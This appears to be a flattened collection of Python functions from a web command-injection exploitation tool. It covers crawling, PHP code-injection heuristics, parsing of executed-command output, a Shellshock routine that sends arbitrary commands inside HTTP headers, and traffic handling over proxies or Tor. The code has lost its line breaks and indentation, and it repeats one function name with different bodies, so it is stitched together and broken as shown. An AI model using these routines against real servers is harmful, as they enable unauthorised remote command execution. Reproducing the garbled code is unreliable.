def crawling(url): try: response = request(url) content = checks.page_encoding(response, action="decode") match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: content = "<html>%s</html>" % match.group(1) soup = BeautifulSoup(content) tags = soup('a') if not tags: tags = [] tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content) for tag in tags: href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") if href: href = _urllib.parse.urljoin(url, href) if _urllib.parse.urlparse(url).netloc in href: if not re.search(r"\?(v=)?\d+\Z", href) and not \ re.search(r"(?i)\.(js|css)(\?|\Z)", href) and \ href.split('.')[-1].lower() not in settings.CRAWL_EXCLUDE_EXTENSIONS: if request(href): HREF_LIST.append(href) if len(HREF_LIST) != 0: return list(set(HREF_LIST)) else: if not settings.VERBOSITY_LEVEL >= 2: print(settings.SPACE) warn_msg = "No usable links found." print(settings.print_warning_msg(warn_msg)) raise SystemExit() except (UnicodeEncodeError, ValueError) as e: # for non-HTML files and non-valid links pass
def injection_results(url, OUTPUT_TEXTFILE, timesec): #Find the directory. output = injection_output(url, OUTPUT_TEXTFILE, timesec) # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) try: shell = checks.page_encoding(response, action="encode").rstrip().lstrip() #shell = [newline.replace("\n"," ") for newline in shell] if settings.TARGET_OS == "win": shell = [newline.replace("\r", "") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] except _urllib.error.HTTPError as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: shell = "" return shell # eof
def heuristic_basic(url, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping (basic) heuristic detection for " + technique + "." print(settings.print_debug_msg(debug_msg)) return url else: settings.EVAL_BASED_STATE = True try: try: if re.findall(r"=(.*)&", url): url = url.replace("/&", "/e&") elif re.findall(r"=(.*)&", menu.options.data): menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Starting (basic) heuristic detection for " + technique + "." print(settings.print_debug_msg(debug_msg)) for payload in settings.PHPINFO_CHECK_PAYLOADS: payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) if not menu.options.data: request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload)) else: data = menu.options.data.replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) headers.do_check(request) response = requests.get_request_response(request) if type(response) is not bool: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: technique = technique + " (possible PHP version: '" + match.group(1) + "')" settings.IDENTIFIED_PHPINFO = True else: for warning in settings.CODE_INJECTION_WARNINGS: if warning in html_data: settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic detection shows that target might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break settings.EVAL_BASED_STATE = False return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def injection_test_results(response, TAG, randvcalc): if response == False: return False else: html_data = checks.page_encoding(response, action="decode") html_data = re.sub("\n", " ", html_data) if settings.SKIP_CALC: shell = re.findall(r"" + TAG + " " + TAG + " " + TAG + " " , html_data) else: shell = re.findall(r"" + TAG + " " + str(randvcalc) + " " + TAG + " " + TAG + " " , html_data) return shell
def injection_results(response, TAG, cmd): new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Grab execution results html_data = checks.page_encoding(response, action="decode") html_data = re.sub("\n", new_line, html_data) shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) try: shell = shell[0].replace(new_line, "\n").rstrip().lstrip() except IndexError: pass return shell # eof
def injection_results(response, TAG, cmd): false_result = False try: # Grab execution results html_data = checks.page_encoding(response, action="decode") html_data = html_data.replace("\n", " ") # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) # Replace non-ASCII characters with a single space re.sub(r"[^\x00-\x7f]", r" ", html_data) for end_line in settings.END_LINE: if end_line in html_data: html_data = html_data.replace(end_line, " ") break shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + " ", html_data) if not shell: shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) if not shell: return shell try: if TAG in shell: shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) # Clear junks shell = [tags.replace(TAG + TAG, " ") for tags in shell] shell = [backslash.replace("\/", "/") for backslash in shell] except UnicodeDecodeError: pass if settings.TARGET_OS == "win": if menu.options.alter_shell: shell = [right_space.rstrip() for right_space in shell] shell = [left_space.lstrip() for left_space in shell] if "<<<<" in shell[0]: false_result = True else: if shell[0] == "%i": false_result = True except AttributeError: false_result = True if false_result: shell = "" return shell
def heuristic_basic(url, http_request_method): technique = "dynamic code evaluation technique" try: try: if re.findall(r"=(.*)&", url): url = url.replace("/&", "/e&") elif re.findall(r"=(.*)&", menu.options.data): menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic test for " + technique + "." print(settings.print_debug_msg(debug_msg)) if http_request_method == "GET": request = _urllib.request.Request( url.replace(settings.INJECT_TAG, settings.BASIC_TEST)) else: data = menu.options.data.replace(settings.INJECT_TAG, settings.BASIC_TEST) request = _urllib.request.Request( url, data.encode(settings.UNICODE_ENCODING)) headers.do_check(request) response = requests.get_request_response(request) if type(response) is not bool: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: technique = technique + " (possible PHP version: '" + match.group( 1) + "')" settings.IDENTIFIED_PHPINFO = True else: for warning in settings.CODE_INJECTION_WARNINGS: if warning in html_data: settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic test shows that target might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def injection_test_results(response, TAG, randvcalc): if response == False: return False else: # Check the execution results html_data = checks.page_encoding(response, action="decode") html_data = html_data.replace("\n", " ") # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) # Replace non-ASCII characters with a single space re.sub(r"[^\x00-\x7f]", r" ", html_data) if settings.SKIP_CALC: shell = re.findall(r"" + TAG + TAG + TAG, html_data) else: shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data) if len(shell) > 1: shell = shell[0] return shell
def sitemap(url): try: if not url.endswith(".xml"): if not url.endswith("/"): url = url + "/" url = _urllib.parse.urljoin(url, "sitemap.xml") response = request(url) content = checks.page_encoding(response, action="decode") for match in re.finditer(r"<loc>\s*([^<]+)", content or ""): url = match.group(1).strip() SITEMAP_LOC.append(url) if url.endswith(".xml") and "sitemap" in url.lower(): while True: warn_msg = "A sitemap recursion detected (" + url + ")." print(settings.print_warning_msg(warn_msg)) if not menu.options.batch: question_msg = "Do you want to follow? [Y/n] > " message = _input( settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "Y" if message in settings.CHOICE_YES: sitemap(url) break elif message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass return SITEMAP_LOC except: if not menu.options.crawldepth: raise SystemExit() pass
def check_for_shell(url, cmd, cve, check_header, filename): try: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) cmd = "echo " + TAG + "$(" + cmd + ")" + TAG payload = shellshock_exploitation(cve, cmd) debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL != 0: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) shell = ''.join(shell) return shell, payload except _urllib.error.URLError as err_msg: print("\n" + settings.print_critical_msg(err_msg)) raise SystemExit()
def check_http_traffic(request): settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) if settings.SCHEME == 'https': http_client = _http_client.HTTPSConnection else: http_client = _http_client.HTTPConnection class connection(http_client): def send(self, req): headers = req.decode() request_http_headers = str(headers).split("\r\n") unique_request_http_headers = [] [ unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers ] request_http_headers = unique_request_http_headers for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: print(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) http_client.send(self, req) class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object): def http_open(self, req): try: self.do_open(connection, req) return super(connection_handler, self).http_open(req) except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." error_msg = "Connection to the target URL " + error_msg except _http_client.InvalidURL as err_msg: settings.VALID_URL = False error_msg = err_msg if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: raise SystemExit() def https_open(self, req): try: self.do_open(connection, req) return super(connection_handler, self).https_open(req) except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." error_msg = "Connection to the target URL " + error_msg except _http_client.InvalidURL as err_msg: settings.VALID_URL = False error_msg = err_msg if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: raise SystemExit() opener = _urllib.request.build_opener(connection_handler()) if len(settings.HTTP_METHOD) != 0: request.get_method = lambda: settings.HTTP_METHOD _ = False current_attempt = 0 unauthorized = False while not _ and current_attempt <= settings.MAX_RETRIES and unauthorized is False: if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request [" + settings.print_request_num( settings.TOTAL_OF_REQUESTS) + "]:" print(settings.print_request_msg(req_msg)) if menu.options.traffic_file: req_msg = "HTTP request [#" + str( settings.TOTAL_OF_REQUESTS) + "]:" logs.log_traffic(req_msg) try: response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") _ = True if settings.VERBOSITY_LEVEL < 2: if current_attempt != 0: info_msg = "Testing connection to the target URL." sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.INIT_TEST == True and not settings.UNAUTHORIZED: print(settings.SINGLE_WHITESPACE) if not settings.CHECK_INTERNET: settings.INIT_TEST = False except _urllib.error.HTTPError as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True if [ True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg) ]: break except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str( err_msg): print(settings.SINGLE_WHITESPACE) if "IncompleteRead" in str(err_msg): warn_msg = "There was an incomplete read error while retrieving data " warn_msg += "from the target URL " else: warn_msg = "The provided target URL seems not reachable. " warn_msg += "In case that it is, please try to re-run using " if not menu.options.random_agent: warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) info_msg = settings.APPLICATION.capitalize( ) + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) current_attempt = current_attempt + 1 time.sleep(3) except ValueError as err: if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) raise SystemExit() except AttributeError: raise SystemExit() try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) code = response.getcode() response_headers = response.info() page = checks.page_encoding(response, action="encode") response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip("\n") if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file: print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. checks.captcha_check(page) # Checks regarding a potential browser verification protection mechanism. checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # Checks for not declared cookie(s), while server wants to set its own. if menu.options.cookie == None and not menu.options.drop_set_cookie: checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, err.read()) if not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ not str(err.code) == settings.BAD_REQUEST: print(settings.SINGLE_WHITESPACE) # error_msg = "Got " + str(err).replace(": "," (") # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): if settings.VERBOSITY_LEVEL >= 2: if len(str(err).split(": ")[1]) == 0: error_msg = "Non-standard HTTP status code" pass else: error_msg = str(err).replace(": ", " (") if len(str(err).split(": ")[1]) == 0: err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # The handlers raise this exception when they run into a problem. except (_http_client.HTTPException, _urllib.error.URLError, _http_client.IncompleteRead) as err: if any(_ in str(err) for _ in ("timed out", "IncompleteRead", "Interrupted system call")): pass else: err_msg = "Unable to connect to the target URL" try: err_msg += " (Reason: " + str( err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += "." if menu.options.bulkfile: raise else: print(settings.print_critical_msg(err_msg)) raise SystemExit() # Raise exception regarding existing connection was forcibly closed by the remote host. except SocketError as err: if err.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif err.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit()